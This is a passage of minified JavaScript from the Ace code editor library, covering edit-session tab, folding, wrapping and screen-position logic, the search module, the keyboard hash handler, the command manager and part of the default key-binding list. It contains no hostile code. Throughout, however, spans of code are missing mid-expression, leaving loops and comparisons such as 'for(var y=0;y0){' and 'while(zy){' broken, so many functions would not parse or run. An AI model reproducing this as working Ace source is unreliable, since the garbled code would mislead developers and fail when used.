this.$useSoftTabs&&!this.$mode.$indentWithTabs};this.setTabSize=function(y){this.setOption("tabSize",y)};this.getTabSize=function(){return this.$tabSize};this.isTabStop=function(y){return this.$useSoftTabs&&(y.column%this.$tabSize===0)};this.setNavigateWithinSoftTabs=function(y){this.setOption("navigateWithinSoftTabs",y)};this.getNavigateWithinSoftTabs=function(){return this.$navigateWithinSoftTabs};this.$overwrite=false;this.setOverwrite=function(y){this.setOption("overwrite",y)};this.getOverwrite=function(){return this.$overwrite};this.toggleOverwrite=function(){this.setOverwrite(!this.$overwrite)};this.addGutterDecoration=function(z,y){if(!this.$decorations[z]){this.$decorations[z]=""}this.$decorations[z]+=" "+y;this._signal("changeBreakpoint",{})};this.removeGutterDecoration=function(z,y){this.$decorations[z]=(this.$decorations[z]||"").replace(" "+y,"");this._signal("changeBreakpoint",{})};this.getBreakpoints=function(){return this.$breakpoints};this.setBreakpoints=function(z){this.$breakpoints=[];for(var y=0;y0){y=!!A.charAt(C-1).match(this.tokenRe)}if(!y){y=!!A.charAt(C).match(this.tokenRe)}if(y){var B=this.tokenRe}else{if(/^\s+$/.test(A.slice(C-1,C+1))){var B=/\s/}else{var B=this.nonTokenRe}}var E=C;if(E>0){do{E--}while(E>=0&&A.charAt(E).match(B));E++}var z=C;while(zy){y=z.screenWidth}});return this.lineWidgetWidth=y};this.$computeWidth=function(z){if(this.$modified||z){this.$modified=false;if(this.$useWrapMode){return this.screenWidth=this.$wrapLimit}var G=this.doc.getAllLines();var y=this.$rowLengthCache;var A=0;var F=0;var E=this.$foldData[F];var C=E?E.start.row:Infinity;var D=G.length;for(var B=0;BC){B=E.end.row+1;if(B>=D){break}E=this.$foldData[F++];C=E?E.start.row:Infinity}if(y[B]==null){y[B]=this.$getStringScreenWidth(G[B])[0]}if(y[B]>A){A=y[B]}}this.screenWidth=A}};this.getLine=function(y){return this.doc.getLine(y)};this.getLines=function(z,y){return this.doc.getLines(z,y)};this.getLength=function(){return this.doc.getLength()};this.getTextRange=function(y){return this.doc.getTextRange(y||this.selection.getRange())};this.insert=function(y,z){return this.doc.insert(y,z)};this.remove=function(y){return this.doc.remove(y)};this.removeFullLines=function(z,y){return this.doc.removeFullLines(z,y)};this.undoChanges=function(B,A){if(!B.length){return}this.$fromUndo=true;var y=null;for(var z=B.length-1;z!=-1;z--){var C=B[z];if(C.group=="doc"){this.doc.revertDeltas(C.deltas);y=this.$getUndoSelection(C.deltas,true,y)}else{C.deltas.forEach(function(D){this.addFolds(D.folds)},this)}}this.$fromUndo=false;y&&this.$undoSelect&&!A&&this.selection.setSelectionRange(y);return y};this.redoChanges=function(B,A){if(!B.length){return}this.$fromUndo=true;var y=null;for(var z=0;zE.end.column){z.start.column+=A}if(z.end.row==E.end.row&&z.end.column>E.end.column){z.end.column+=A}}if(D&&z.start.row>=E.end.row){z.start.row+=D;z.end.row+=D}}z.end=this.insert(z.start,H);if(F.length){var B=E.start;var C=z.start;var D=C.row-B.row;var A=C.column-B.column;this.addFolds(F.map(function(I){I=I.clone();if(I.start.row==B.row){I.start.column+=A}if(I.end.row==B.row){I.end.column+=A}I.start.row+=D;I.end.row+=D;return I}))}return z};this.indentRows=function(z,y,B){B=B.replace(/\t/g,this.getTabString());for(var A=z;A<=y;A++){this.doc.insertInLine({row:A,column:0},B)}};this.outdentRows=function(A){var E=A.collapseRows();var z=new f(0,0,0,0);var D=this.getTabSize();for(var C=E.start.row;C<=E.end.row;++C){var y=this.getLine(C);z.start.row=C;z.end.row=C;for(var B=0;B0){var E=this.getRowFoldEnd(B+A);if(E>this.doc.getLength()-1){return 0}var D=E-B}else{F=this.$clipRowToDocument(F);B=this.$clipRowToDocument(B);var D=B-F+1}}var z=new f(F,0,B,Number.MAX_VALUE);var C=this.getFoldsInRange(z).map(function(G){G=G.clone();G.start.row+=D;G.end.row+=D;return G});var y=A==0?this.doc.getLines(F,B):this.doc.removeFullLines(F,B);this.doc.insertFullLines(F+D,y);C.length&&this.addFolds(C);return D};this.moveLinesUp=function(z,y){return this.$moveLines(z,y,-1)};this.moveLinesDown=function(z,y){return this.$moveLines(z,y,1)};this.duplicateLines=function(z,y){return this.$moveLines(z,y,0)};this.$clipRowToDocument=function(y){return Math.max(0,Math.min(y,this.doc.getLength()-1))};this.$clipColumnToRow=function(z,y){if(y<0){return 0}return Math.min(this.doc.getLine(z).length,y)};this.$clipPositionToDocument=function(A,z){z=Math.max(0,z);if(A<0){A=0;z=0}else{var y=this.doc.getLength();if(A>=y){A=y-1;z=this.doc.getLine(y-1).length}else{z=Math.min(this.doc.getLine(A).length,z)}}return{row:A,column:z}};this.$clipRangeToDocument=function(z){if(z.start.row<0){z.start.row=0;z.start.column=0}else{z.start.column=this.$clipColumnToRow(z.start.row,z.start.column)}var y=this.doc.getLength()-1;if(z.end.row>y){z.end.row=y;z.end.column=this.doc.getLine(y).length}else{z.end.column=this.$clipColumnToRow(z.end.row,z.end.column)}return z};this.$wrapLimit=80;this.$useWrapMode=false;this.$wrapLimitRange={min:null,max:null};this.setUseWrapMode=function(z){if(z!=this.$useWrapMode){this.$useWrapMode=z;this.$modified=true;this.$resetRowCache(0);if(z){var y=this.getLength();this.$wrapData=Array(y);this.$updateWrapData(0,y-1)}this._signal("changeWrapMode")}};this.getUseWrapMode=function(){return this.$useWrapMode};this.setWrapLimitRange=function(z,y){if(this.$wrapLimitRange.min!==z||this.$wrapLimitRange.max!==y){this.$wrapLimitRange={min:z,max:y};this.$modified=true;this.$bidiHandler.markAsDirty();if(this.$useWrapMode){this._signal("changeWrapMode")}}};this.adjustWrapLimit=function(B,A){var z=this.$wrapLimitRange;if(z.max<0){z={min:A,max:A}}var y=this.$constrainWrapLimit(B,z.min,z.max);if(y!=this.$wrapLimit&&y>1){this.$wrapLimit=y;this.$modified=true;if(this.$useWrapMode){this.$updateWrapData(0,this.getLength()-1);this.$resetRowCache(0);this._signal("changeWrapLimit")}return true}return false};this.$constrainWrapLimit=function(z,A,y){if(A){z=Math.max(A,z)}if(y){z=Math.min(y,z)}return z};this.getWrapLimit=function(){return this.$wrapLimit};this.setWrapLimit=function(y){this.setWrapLimitRange(y,y)};this.getWrapLimitRange=function(){return{min:this.$wrapLimitRange.min,max:this.$wrapLimitRange.max}};this.$updateInternalDataOnChange=function(M){var E=this.$useWrapMode;var C=M.action;var z=M.start;var D=M.end;var B=z.row;var N=D.row;var G=N-B;var y=null;this.$updating=true;if(G!=0){if(C==="remove"){this[E?"$wrapData":"$rowLengthCache"].splice(B,G);var A=this.$foldData;y=this.getFoldsInRange(M);this.removeFolds(y);var K=this.getFoldLine(D.row);var L=0;if(K){K.addRemoveChars(D.row,D.column,z.column-D.column);K.shiftRow(-G);var J=this.getFoldLine(B);if(J&&J!==K){J.merge(K);K=J}L=A.indexOf(K)+1}for(L;L=D.row){K.shiftRow(-G)}}N=B}else{var H=Array(G);H.unshift(B,0);var F=E?this.$wrapData:this.$rowLengthCache;F.splice.apply(F,H);var A=this.$foldData;var K=this.getFoldLine(B);var L=0;if(K){var I=K.range.compareInside(z.row,z.column);if(I==0){K=K.split(z.row,z.column);if(K){K.shiftRow(G);K.addRemoveChars(N,0,D.column-z.column)}}else{if(I==-1){K.addRemoveChars(B,0,D.column-z.column);K.shiftRow(G)}}L=A.indexOf(K)+1}for(L;L=B){K.shiftRow(G)}}}}else{G=Math.abs(M.start.column-M.end.column);if(C==="remove"){y=this.getFoldsInRange(M);this.removeFolds(y);G=-G}var K=this.getFoldLine(B);if(K){K.addRemoveChars(B,z.column,G)}}if(E&&this.$wrapData.length!=this.doc.getLength()){console.error("doc.getLength() and $wrapData.length have to be the same!")}this.$updating=false;if(E){this.$updateWrapData(B,N)}else{this.$updateRowLengthCache(B,N)}return y};this.$updateRowLengthCache=function(A,z,y){this.$rowLengthCache[A]=null;this.$rowLengthCache[z]=null};this.$updateWrapData=function(y,E){var G=this.doc.getAllLines();var A=this.getTabSize();var z=this.$wrapData;var F=this.$wrapLimit;var B;var C;var D=y;E=Math.min(E,G.length-1);while(D<=E){C=this.getFoldLine(D,C);if(!C){B=this.$getDisplayTokens(G[D]);z[D]=this.$computeWrapSplits(B,F,A);D++}else{B=[];C.walk(function(M,L,K,H){var I;if(M!=null){I=this.$getDisplayTokens(M,B.length);I[0]=v;for(var J=1;JN-A){var H=G+N-A;if(I[H-1]>=t&&I[H]>=t){L(H);continue}if(I[H]==v||I[H]==p){for(H;H!=G-1;H--){if(I[H]==v){break}}if(H>G){L(H);continue}H=G+N;for(H;H>2)),G-1);while(H>F&&I[H]F&&I[H]F&&I[H]==s){H--}}else{while(H>F&&I[H]F){if(y==D-G){break}y=D-G;if(I[H]==w||I[H-1]==w){L(H++)}else{L(++H)}continue}H=G+N;if(I[H]==w){H--}L(H-A)}return K};this.$getDisplayTokens=function(C,B){var y=[];var A;B=B||0;for(var z=0;z39&&E<48)||(E>57&&E<64)){y.push(s)}else{if(E>=4352&&r(E)){y.push(t,w)}else{y.push(x)}}}}}return y};this.$getStringScreenWidth=function(A,C,y){if(C==0){return[0,0]}if(C==null){C=Infinity}y=y||0;var B,z;for(z=0;z=4352&&r(B)){y+=2}else{y+=1}}if(y>C){break}}return[y,z]};this.lineWidgets=null;this.getRowLength=function(z){if(this.lineWidgets){var y=this.lineWidgets[z]&&this.lineWidgets[z].rowCount||0}else{y=0}if(!this.$useWrapMode||!this.$wrapData[z]){return 1+y}else{return this.$wrapData[z].length+1+y}};this.getRowLineCount=function(y){if(!this.$useWrapMode||!this.$wrapData[y]){return 1}else{return this.$wrapData[y].length+1}};this.getRowWrapIndent=function(y){if(this.$useWrapMode){var A=this.screenToDocumentPosition(y,Number.MAX_VALUE);var z=this.$wrapData[A.row];return z.length&&z[0]=0){var B=I[N];var y=this.$docRowCache[N];var F=G>I[L-1]}else{var F=!L}var J=this.getLength()-1;var P=this.getNextFoldLine(y);var A=P?P.start.row:Infinity;while(B<=G){K=this.getRowLength(y);if(B+K>G||y>=J){break}else{B+=K;y++;if(y>A){y=P.end.row+1;P=this.getNextFoldLine(y,P);A=P?P.start.row:Infinity}}if(F){this.$docRowCache.push(y);this.$screenRowCache.push(B)}}if(P&&P.start.row<=y){E=this.getFoldDisplayLine(P);y=P.start.row}else{if(B+K<=G||y>J){return{row:J,column:this.getLine(J).length}}else{E=this.getLine(y);P=null}}var H=0,Q=Math.floor(G-B);if(this.$useWrapMode){var D=this.$wrapData[y];if(D){z=D[Q];if(Q>0&&D.length){H=D.indent;M=D[Q-1]||D[D.length-1];E=E.substring(M)}}}if(O!==undefined&&this.$bidiHandler.isBidiRow(B+Q,y,Q)){C=this.$bidiHandler.offsetToCol(O)}M+=this.$getStringScreenWidth(E,C-H)[1];if(this.$useWrapMode&&M>=z){M=z-1}if(P){return P.idxToPosition(M)}return{row:y,column:M}};this.documentToScreenPosition=function(y,M){if(typeof M==="undefined"){var B=this.$clipPositionToDocument(y.row,y.column)}else{B=this.$clipPositionToDocument(y,M)}y=B.row;M=B.column;var G=0;var I=null;var A=null;A=this.getFoldAt(y,M,1);if(A){y=A.start.row;M=A.start.column}var K,C=0;var J=this.$docRowCache;var N=this.$getRowCacheIndex(J,y);var L=J.length;if(L&&N>=0){var C=J[N];var G=this.$screenRowCache[N];var F=y>J[L-1]}else{var F=!L}var O=this.getNextFoldLine(C);var z=O?O.start.row:Infinity;while(C=z){K=O.end.row+1;if(K>y){break}O=this.getNextFoldLine(K,O);z=O?O.start.row:Infinity}else{K=C+1}G+=this.getRowLength(C);C=K;if(F){this.$docRowCache.push(C);this.$screenRowCache.push(G)}}var E="";if(O&&C>=z){E=this.getFoldDisplayLine(O,y,M);I=O.start.row}else{E=this.getLine(y).substring(0,M);I=y}var H=0;if(this.$useWrapMode){var P=this.$wrapData[I];if(P){var D=0;while(E.length>=P[D]){G++;D++}E=E.substring(P[D-1]||0,E.length);H=D>0?P.indent:0}}return{row:G,column:H+this.$getStringScreenWidth(E)[0]}};this.documentToScreenColumn=function(z,y){return this.documentToScreenPosition(z,y).column};this.documentToScreenRow=function(y,z){return this.documentToScreenPosition(y,z).row};this.getScreenLength=function(){var E=0;var z=null;if(!this.$useWrapMode){E=this.getLength();var B=this.$foldData;for(var A=0;Ay){F=z.end.row+1;z=this.$foldData[A++];y=z?z.start.row:Infinity}}}if(this.lineWidgets){E+=this.$getWidgetScreenLength()}return E};this.$setFontMetrics=function(y){if(!this.$enableVarChar){return}this.$getStringScreenWidth=function(B,D,z){if(D===0){return[0,0]}if(!D){D=Infinity}z=z||0;var C,A;for(A=0;AD){break}}return[z,A]}};this.destroy=function(){if(this.bgTokenizer){this.bgTokenizer.setDocument(null);this.bgTokenizer=null}this.$stopWorker()};this.isFullWidth=r;function r(y){if(y<4352){return false}return y>=4352&&y<=4447||y>=4515&&y<=4519||y>=4602&&y<=4607||y>=9001&&y<=9002||y>=11904&&y<=11929||y>=11931&&y<=12019||y>=12032&&y<=12245||y>=12272&&y<=12283||y>=12288&&y<=12350||y>=12353&&y<=12438||y>=12441&&y<=12543||y>=12549&&y<=12589||y>=12593&&y<=12686||y>=12688&&y<=12730||y>=12736&&y<=12771||y>=12784&&y<=12830||y>=12832&&y<=12871||y>=12880&&y<=13054||y>=13056&&y<=19903||y>=19968&&y<=42124||y>=42128&&y<=42182||y>=43360&&y<=43388||y>=44032&&y<=55203||y>=55216&&y<=55238||y>=55243&&y<=55291||y>=63744&&y<=64255||y>=65040&&y<=65049||y>=65072&&y<=65106||y>=65108&&y<=65126||y>=65128&&y<=65131||y>=65281&&y<=65376||y>=65504&&y<=65510}}).call(a.prototype);g("./edit_session/folding").Folding.call(a.prototype);g("./edit_session/bracket_match").BracketMatch.call(a.prototype);e.defineOptions(a.prototype,"session",{wrap:{set:function(q){if(!q||q=="off"){q=false}else{if(q=="free"){q=true}else{if(q=="printMargin"){q=-1}else{if(typeof q=="string"){q=parseInt(q,10)||false}}}}if(this.$wrap==q){return}this.$wrap=q;if(!q){this.setUseWrapMode(false)}else{var p=typeof q=="number"?q:null;this.setWrapLimitRange(p,p);this.setUseWrapMode(true)}},get:function(){if(this.getUseWrapMode()){if(this.$wrap==-1){return"printMargin"}if(!this.getWrapLimitRange().min){return"free"}return this.$wrap}return"off"},handlesSet:true},wrapMethod:{set:function(p){p=p=="auto"?this.$mode.type!="text":p!="text";if(p!=this.$wrapAsCode){this.$wrapAsCode=p;if(this.$useWrapMode){this.$modified=true;this.$resetRowCache(0);this.$updateWrapData(0,this.getLength()-1)}}},initialValue:"auto"},indentedSoftWrap:{initialValue:true},firstLineNumber:{set:function(){this._signal("changeBreakpoint")},initialValue:1},useWorker:{set:function(p){this.$useWorker=p;this.$stopWorker();if(p){this.$startWorker()}},initialValue:true},useSoftTabs:{initialValue:true},tabSize:{set:function(p){if(isNaN(p)||this.$tabSize===p){return}this.$modified=true;this.$rowLengthCache=[];this.$tabSize=p;this._signal("changeTabSize")},initialValue:4,handlesSet:true},navigateWithinSoftTabs:{initialValue:false},overwrite:{set:function(p){this._signal("changeOverwrite")},initialValue:false},newLineMode:{set:function(p){this.doc.setNewLineMode(p)},get:function(){return this.doc.getNewLineMode()},handlesSet:true},mode:{set:function(p){this.setMode(p)},get:function(){return this.$modeId}}});i.EditSession=a});ace.define("ace/search",["require","exports","module","ace/lib/lang","ace/lib/oop","ace/range"],function(c,a,d){var h=c("./lib/lang");var f=c("./lib/oop");var g=c("./range").Range;var b=function(){this.$options={}};(function(){this.set=function(i){f.mixin(this.$options,i);return this};this.getOptions=function(){return h.copyObject(this.$options)};this.setOptions=function(i){this.$options=i};this.find=function(l){var j=this.$options;var k=this.$matchIterator(l,j);if(!k){return false}var i=null;k.forEach(function(n,o,p,m){i=new g(n,o,p,m);if(o==m&&j.start&&j.start.start&&j.skipCurrent!=false&&i.isEqual(j.start)){i=null;return false}return true});return i};this.findAll=function(l){var r=this.$options;if(!r.needle){return[]}this.$assembleRegExp(r);var w=r.range;var k=w?l.getLines(w.start.row,w.end.row):l.doc.getAllLines();var p=[];var y=r.re;if(r.$isMultiLine){var D=y.length;var z=k.length-D;var x;outer:for(var t=y.offset||0;t<=z;t++){for(var B=0;Bs){continue}p.push(x=new g(t,s,t+D-1,o));if(D>2){t=t+D-2}}}else{for(var C=0;Cn&&p[B].end.row==w.end.row){B--}p=p.slice(C,B+1);for(C=0,B=p.length;C=k;u--){if(o(u,Number.MAX_VALUE,v)){return}}if(t.wrap==false){return}for(u=s,k=i.row;u>=k;u--){if(o(u,Number.MAX_VALUE,v)){return}}}}else{var n=function(v){var u=i.row;if(o(u,i.column,v)){return}for(u=u+1;u<=s;u++){if(o(u,0,v)){return}}if(t.wrap==false){return}for(u=k,s=i.row;u<=s;u++){if(o(u,0,v)){return}}}}if(t.$isMultiLine){var m=r.length;var o=function(A,z,B){var v=q?A-m+1:A;if(v<0){return}var u=p.getLine(v);var y=u.search(r[0]);if(!q&&yz){return}if(B(v,y,v+m-1,x)){return true}}}else{if(q){var o=function(C,y,B){var D=p.getLine(C);var z=[];var v,A=0;r.lastIndex=0;while((v=r.exec(D))){var u=v[0].length;A=v.index;if(!u){if(A>=D.length){break}r.lastIndex=A+=1}if(v.index+u>y){break}z.push(v.index,u)}for(var x=z.length-1;x>=0;x-=2){var w=z[x-1];var u=z[x];if(B(C,w,C,w+u)){return true}}}}else{var o=function(z,y,A){var v=p.getLine(z);var u;var x=y;r.lastIndex=y;while((u=r.exec(v))){var w=u[0].length;x=u.index;if(A(z,x,z,x+w)){return true}if(!w){r.lastIndex=x+=1;if(x>=v.length){return false}}}}}}return{forEach:n}}}).call(b.prototype);function e(k,j){function i(l){if(/\w/.test(l)||j.regExp){return"\\b"}return""}return i(k[0])+k+i(k[k.length-1])}a.Search=b});ace.define("ace/keyboard/hash_handler",["require","exports","module","ace/lib/keys","ace/lib/useragent"],function(e,c,f){var d=e("../lib/keys");var b=e("../lib/useragent");var a=d.KEY_MODS;function g(j,i){this.platform=i||(b.isMac?"mac":"win");this.commands={};this.commandKeyBinding={};this.addCommands(j);this.$singleCommand=true}function h(j,i){g.call(this,j,i);this.$singleCommand=false}h.prototype=g.prototype;(function(){this.addCommand=function(k){if(this.commands[k.name]){this.removeCommand(k)}this.commands[k.name]=k;if(k.bindKey){this._buildKeyHash(k)}};this.removeCommand=function(o,m){var k=o&&(typeof o==="string"?o:o.name);o=this.commands[k];if(!m){delete this.commands[k]}var n=this.commandKeyBinding;for(var q in n){var p=n[q];if(p==o){delete n[q]}else{if(Array.isArray(p)){var l=p.indexOf(o);if(l!=-1){p.splice(l,1);if(p.length==1){n[q]=p[0]}}}}}};this.bindKey=function(l,m,k){if(typeof l=="object"&&l){if(k==undefined){k=l.position}l=l[this.platform]}if(!l){return}if(typeof m=="function"){return this.addCommand({exec:m,bindKey:l,name:m.name||l})}l.split("|").forEach(function(o){var n="";if(o.indexOf(" ")!=-1){var p=o.split(/\s+/);o=p.pop();p.forEach(function(s){var t=this.parseKeys(s);var u=a[t.hashId]+t.key;n+=(n?" ":"")+u;this._addCommandToBinding(n,"chainKeys")},this);n+=" "}var q=this.parseKeys(o);var r=a[q.hashId]+q.key;this._addCommandToBinding(n+r,m,k)},this)};function j(k){return typeof k=="object"&&k.bindKey&&k.bindKey.position||(k.isDefault?-100:0)}this._addCommandToBinding=function(r,q,m){var p=this.commandKeyBinding,o;if(!q){delete p[r]}else{if(!p[r]||this.$singleCommand){p[r]=q}else{if(!Array.isArray(p[r])){p[r]=[p[r]]}else{if((o=p[r].indexOf(q))!=-1){p[r].splice(o,1)}}if(typeof m!="number"){m=j(q)}var l=p[r];for(o=0;om){break}}l.splice(o,0,q)}}};this.addCommands=function(k){k&&Object.keys(k).forEach(function(l){var m=k[l];if(!m){return}if(typeof m==="string"){return this.bindKey(m,l)}if(typeof m==="function"){m={exec:m}}if(typeof m!=="object"){return}if(!m.name){m.name=l}this.addCommand(m)},this)};this.removeCommands=function(k){Object.keys(k).forEach(function(l){this.removeCommand(k[l])},this)};this.bindKeys=function(k){Object.keys(k).forEach(function(l){this.bindKey(l,k[l])},this)};this._buildKeyHash=function(k){this.bindKey(k.bindKey,k)};this.parseKeys=function(o){var q=o.toLowerCase().split(/[\-\+]([\-\+])?/).filter(function(r){return r});var m=q.pop();var p=d[m];if(d.FUNCTION_KEYS[p]){m=d.FUNCTION_KEYS[p].toLowerCase()}else{if(!q.length){return{key:m,hashId:-1}}else{if(q.length==1&&q[0]=="shift"){return{key:m.toUpperCase(),hashId:-1}}}}var n=0;for(var l=q.length;l--;){var k=d.KEY_MODS[q[l]];if(k==null){if(typeof console!="undefined"){console.error("invalid modifier "+q[l]+" in "+o)}return false}n|=k}return{key:m,hashId:n}};this.findKeyCommand=function i(m,k){var l=a[m]+k;return this.commandKeyBinding[l]};this.handleKeyboard=function(n,m,k,o){if(o<0){return}var l=a[m]+k;var p=this.commandKeyBinding[l];if(n.$keyChain){n.$keyChain+=" "+l;p=this.commandKeyBinding[n.$keyChain]||p}if(p){if(p=="chainKeys"||p[p.length-1]=="chainKeys"){n.$keyChain=n.$keyChain||l;return{command:"null"}}}if(n.$keyChain){if((!m||m==4)&&k.length==1){n.$keyChain=n.$keyChain.slice(0,-l.length-1)}else{if(m==-1||o>0){n.$keyChain=""}}}return{command:p}};this.getStatusText=function(k,l){return l.$keyChain||""}}).call(g.prototype);c.HashHandler=g;c.MultiHashHandler=h});ace.define("ace/commands/command_manager",["require","exports","module","ace/lib/oop","ace/keyboard/hash_handler","ace/lib/event_emitter"],function(b,a,c){var f=b("../lib/oop");var e=b("../keyboard/hash_handler").MultiHashHandler;var d=b("../lib/event_emitter").EventEmitter;var g=function(i,h){e.call(this,h,i);this.byName=this.commands;this.setDefaultHandler("exec",function(j){return j.command.exec(j.editor,j.args||{})})};f.inherits(g,e);(function(){f.implement(this,d);this.exec=function(m,k,h){if(Array.isArray(m)){for(var j=m.length;j--;){if(this.exec(m[j],k,h)){return true}}return false}if(typeof m==="string"){m=this.commands[m]}if(!m){return false}if(k&&k.$readOnly&&!m.readOnly){return false}if(m.isAvailable&&!m.isAvailable(k)){return false}var l={editor:k,command:m,args:h};l.returnValue=this._emit("exec",l);this._signal("afterExec",l);return l.returnValue===false?false:true};this.toggleRecording=function(h){if(this.$inReplay){return}h&&h._emit("changeStatus");if(this.recording){this.macro.pop();this.removeEventListener("exec",this.$addCommandToMacro);if(!this.macro.length){this.macro=this.oldMacro}return this.recording=false}if(!this.$addCommandToMacro){this.$addCommandToMacro=function(i){this.macro.push([i.command,i.args])}.bind(this)}this.oldMacro=this.macro;this.macro=[];this.on("exec",this.$addCommandToMacro);return this.recording=true};this.replay=function(h){if(this.$inReplay||!this.macro){return}if(this.recording){return this.toggleRecording(h)}try{this.$inReplay=true;this.macro.forEach(function(i){if(typeof i=="string"){this.exec(i,h)}else{this.exec(i[0],h,i[1])}},this)}finally{this.$inReplay=false}};this.trimMacro=function(h){return h.map(function(i){if(typeof i[0]!="string"){i[0]=i[0].name}if(!i[1]){i=i[0]}return i})}}).call(g.prototype);a.CommandManager=g});ace.define("ace/commands/default_commands",["require","exports","module","ace/lib/lang","ace/config","ace/range"],function(c,a,d){var g=c("../lib/lang");var b=c("../config");var f=c("../range").Range;function e(h,i){return{win:h,mac:i}}a.commands=[{name:"showSettingsMenu",bindKey:e("Ctrl-,","Command-,"),exec:function(h){b.loadModule("ace/ext/settings_menu",function(i){i.init(h);h.showSettingsMenu()})},readOnly:true},{name:"goToNextError",bindKey:e("Alt-E","F4"),exec:function(h){b.loadModule("ace/ext/error_marker",function(i){i.showErrorMarker(h,1)})},scrollIntoView:"animate",readOnly:true},{name:"goToPreviousError",bindKey:e("Alt-Shift-E","Shift-F4"),exec:function(h){b.loadModule("ace/ext/error_marker",function(i){i.showErrorMarker(h,-1)})},scrollIntoView:"animate",readOnly:true},{name:"selectall",bindKey:e("Ctrl-A","Command-A"),exec:function(h){h.selectAll()},readOnly:true},{name:"centerselection",bindKey:e(null,"Ctrl-L"),exec:function(h){h.centerSelection()},readOnly:true},{name:"gotoline",bindKey:e("Ctrl-L","Command-L"),exec:function(i){var h=parseInt(prompt("Enter line number:"),10);if(!isNaN(h)){i.gotoLine(h)}},readOnly:true},{name:"fold",bindKey:e("Alt-L|Ctrl-F1","Command-Alt-L|Command-F1"),exec:function(h){h.session.toggleFold(false)},multiSelectAction:"forEach",scrollIntoView:"center",readOnly:true},{name:"unfold",bindKey:e("Alt-Shift-L|Ctrl-Shift-F1","Command-Alt-Shift-L|Command-Shift-F1"),exec:function(h){h.session.toggleFold(true)},multiSelectAction:"forEach",scrollIntoView:"center",readOnly:true},{name:"toggleFoldWidget",bindKey:e("F2","F2"),exec:function(h){h.session.toggleFoldWidget()},multiSelectAction:"forEach",scrollIntoView:"center",readOnly:true},{name:"toggleParentFoldWidget",bindKey:e("Alt-F2","Alt-F2"),exec:function(h){h.session.toggleFoldWidget(true)},multiSelectAction:"forEach",scrollIntoView:"center",readOnly:true},{name:"foldall",bindKey:e(null,"Ctrl-Command-Option-0"),exec:function(h){h.session.foldAll()},scrollIntoView:"center",readOnly:true},{name:"foldOther",bindKey:e("Alt-0","Command-Option-0"),exec:function(h){h.session.foldAll();h.session.unfold(h.selection.getAllRanges())},scrollIntoView:"center",readOnly:true},{name:"unfoldall",bindKey:e("Alt-Shift-0","Command-Option-Shift-0"),exec:function(h){h.session.unfold()},scrollIntoView:"center",readOnly:true},{name:"findnext",bindKey:e("Ctrl-K","Command-G"),exec:function(h){h.findNext()},multiSelectAction:"forEach",scrollIntoView:"center",readOnly:true},{name:"findprevious",bindKey:e("Ctrl-Shift-K","Command-Shift-G"),exec:function(h){h.findPrevious()},multiSelectAction:"forEach",scrollIntoView:"center",readOnly:true},{name:"selectOrFindNext",bindKey:e("Alt-K","Ctrl-G"),exec:function(h){if(h.selection.isEmpty()){h.selection.selectWord()}else{h.findNext()}},readOnly:true},{name:"selectOrFindPrevious",bindKey:e("Alt-Shift-K","Ctrl-Shift-G"),exec:function(h){if(h.selection.isEmpty()){h.selection.selectWord()}else{h.findPrevious()}},readOnly:true},{name:"find",bindKey:e("Ctrl-F","Command-F"),exec:function(h){b.loadModule("ace/ext/searchbox",function(i){i.Search(h)})},readOnly:true},{name:"overwrite",bindKey:"Insert",exec:function(h){h.toggleOverwrite()},readOnly:true},{name:"selecttostart",bindKey:e("Ctrl-Shift-Home","Command-Shift-Home|Command-Shift-Up"),exec:function(h){h.getSelection().selectFileStart()},multiSelectAction:"forEach",readOnly:true,scrollIntoView:"animate",aceCommandGroup:"fileJump"},{name:"gotostart",bindKey:e("Ctrl-Home","Command-Home|Command-Up"),exec:function(h){h.navigateFileStart()},multiSelectAction:"forEach",readOnly:true,scrollIntoView:"animate",aceCommandGroup:"fileJump"},{name:"selectup",bindKey:e("Shift-Up","Shift-Up|Ctrl-Shift-P"),exec:function(h){h.getSelection().selectUp()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:true},{name:"golineup",bindKey:e("Up","Up|Ctrl-P"),exec:function(i,h){i.navigateUp(h.times)},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:true},{name:"selecttoend",bindKey:e("Ctrl-Shift-End","Command-Shift-End|Command-Shift-Down"),exec:function(h){h.getSelection().selectFileEnd()},multiSelectAction:"forEach",readOnly:true,scrollIntoView:"animate",aceCommandGroup:"fileJump"},{name:"gotoend",bindKey:e("Ctrl-End","Command-End|Command-Down"),exec:function(h){h.navigateFileEnd()},multiSelectAction:"forEach",readOnly:true,scrollIntoView:"animate",aceCommandGroup:"fileJump"},{name:"selectdown",bindKey:e("Shift-Down","Shift-Down|Ctrl-Shift-N"),exec:function(h){h.getSelection().selectDown()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:true},{name:"golinedown",bindKey:e("Down","Down|Ctrl-N"),exec:function(i,h){i.navigateDown(h.times)},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:true},{name:"selectwordleft",bindKey:e("Ctrl-Shift-Left","Option-Shift-Left"),exec:function(h){h.getSelection().selectWordLeft()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:true},{name:"gotowordleft",bindKey:e("Ctrl-Left","Option-Left"),exec:function(h){h.navigateWordLeft()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:true},{name:"selecttolinestart",bindKey:e("Alt-Shift-Left","Command-Shift-Left|Ctrl-Shift-A"),exec:function(h){h.getSelection().selectLineStart()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:true},{name:"gotolinestart",bindKey:e("Alt-Left|Home","Command-Left|Home|Ctrl-A"),exec:function(h){h.navigateLineStart()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:true},{name:"selectleft",bindKey:e("Shift-Left","Shift-Left|Ctrl-Shift-B"),exec:function(h){h.getSelection().selectLeft()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:true},{name:"gotoleft",bindKey:e("Left","Left|Ctrl-B"),exec:function(i,h){i.navigateLeft(h.times)},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:true},{name:"selectwordright",bindKey:e("Ctrl-Shift-Right","Option-Shift-Right"),exec:function(h){h.getSelection().selectWordRight()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:true},{name:"gotowordright",bindKey:e("Ctrl-Right","Option-Right"),exec:function(h){h.navigateWordRight()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:true},{name:"selecttolineend",bindKey:e("Alt-Shift-Right","Command-Shift-Right|Shift-End|Ctrl-Shift-E"),exec:function(h){h.getSelection().selectLineEnd()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:true},{name:"gotolineend",bindKey:e("Alt-Right|End","Command-Right|End|Ctrl-E